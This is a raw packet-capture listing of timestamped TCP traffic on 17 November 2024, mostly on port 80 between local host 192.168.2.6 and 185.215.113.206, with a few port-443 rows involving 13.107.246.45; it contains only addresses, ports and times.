Nov 17, 2024 10:07:42.314394951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314399004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314414978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314420938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314428091 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314436913 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314438105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314449072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314460039 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314469099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314481020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314492941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314496040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314503908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314516068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314526081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314533949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314537048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314548969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314568996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314582109 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314587116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314599991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314600945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314611912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314614058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314630985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314640999 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314641953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314656973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314666033 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314675093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314677000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314693928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314704895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314704895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314716101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314718008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314728975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314737082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314739943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314749002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314759970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314768076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314773083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314776897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314788103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314800024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314806938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314810991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314830065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314832926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314841032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314847946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314853907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314868927 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314873934 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314879894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314886093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314892054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314898014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314919949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314932108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314944029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314946890 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314954996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314973116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314974070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314985991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314996958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314999104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315023899 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315026999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315037966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315064907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315076113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315087080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315099001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315112114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315124035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315135002 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315160036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315207005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315218925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315229893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315248966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315254927 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315264940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315268993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315279007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315296888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315300941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315310955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315325975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315327883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315350056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315351963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315370083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315372944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315383911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315387011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315397024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315412045 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315428019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315438032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315438032 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315473080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315495014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315495014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315505981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315517902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315537930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315545082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315551043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315561056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315571070 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315584898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315612078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315658092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315670013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315691948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315701962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315705061 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315712929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315732956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315742970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315747023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315759897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315784931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315808058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315826893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315838099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315849066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315864086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315865040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315876007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315882921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315895081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315896988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315907001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315907955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315917969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315932035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315932989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315944910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315956116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315957069 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315987110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.315989017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.315999985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316010952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316011906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316032887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316041946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316045046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316052914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316065073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316076040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316082001 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316087961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316103935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316107035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316118002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316129923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316143036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316158056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316162109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316173077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316176891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316194057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316201925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316206932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316214085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316217899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316231966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316241980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316241980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316256046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316263914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316268921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316274881 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316282034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316288948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316294909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316313028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316325903 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316335917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316354990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316369057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316374063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316380978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316392899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316397905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316404104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316406965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316415071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316427946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316432953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316446066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316462994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316464901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316464901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316474915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316485882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316495895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316504955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316517115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316517115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316530943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316539049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316541910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316560984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316570997 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316571951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316582918 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316584110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316595078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316612959 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316620111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316631079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316639900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316644907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316667080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316670895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316683054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316692114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316692114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316704035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316716909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316718102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316730976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316757917 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316761017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316772938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316802025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316802979 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316812038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316823006 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316838980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316852093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316860914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316870928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316880941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316907883 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316931963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.316981077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.316992044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317009926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317019939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317027092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317039013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317049026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317050934 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317059994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317073107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317084074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317085981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317094088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317097902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317117929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317122936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317131042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317141056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317154884 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317159891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317169905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317177057 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317178965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317192078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317203999 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317214012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317214966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317228079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317236900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317249060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317259073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317260981 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317270994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317298889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317317963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317329884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317339897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317351103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317361116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317369938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317398071 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317446947 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317466974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317477942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317504883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317507029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317517042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317527056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317536116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317544937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317548037 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317555904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317574978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317575932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317585945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317591906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317604065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317611933 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317615032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317625999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317636967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317641973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317652941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317655087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317672968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317686081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317697048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317698956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317708015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317728996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317751884 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317784071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317830086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317830086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317841053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317843914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317853928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317859888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317866087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317893028 CET	443	49981	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.317898035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.317945004 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317956924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317967892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.317990065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.318011999 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.318026066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.318037987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.318048000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.318074942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.318097115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.318130970 CET	443	49981	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.318180084 CET	49981	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.318212986 CET	49981	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.318232059 CET	443	49981	13.107.246.45	192.168.2.6
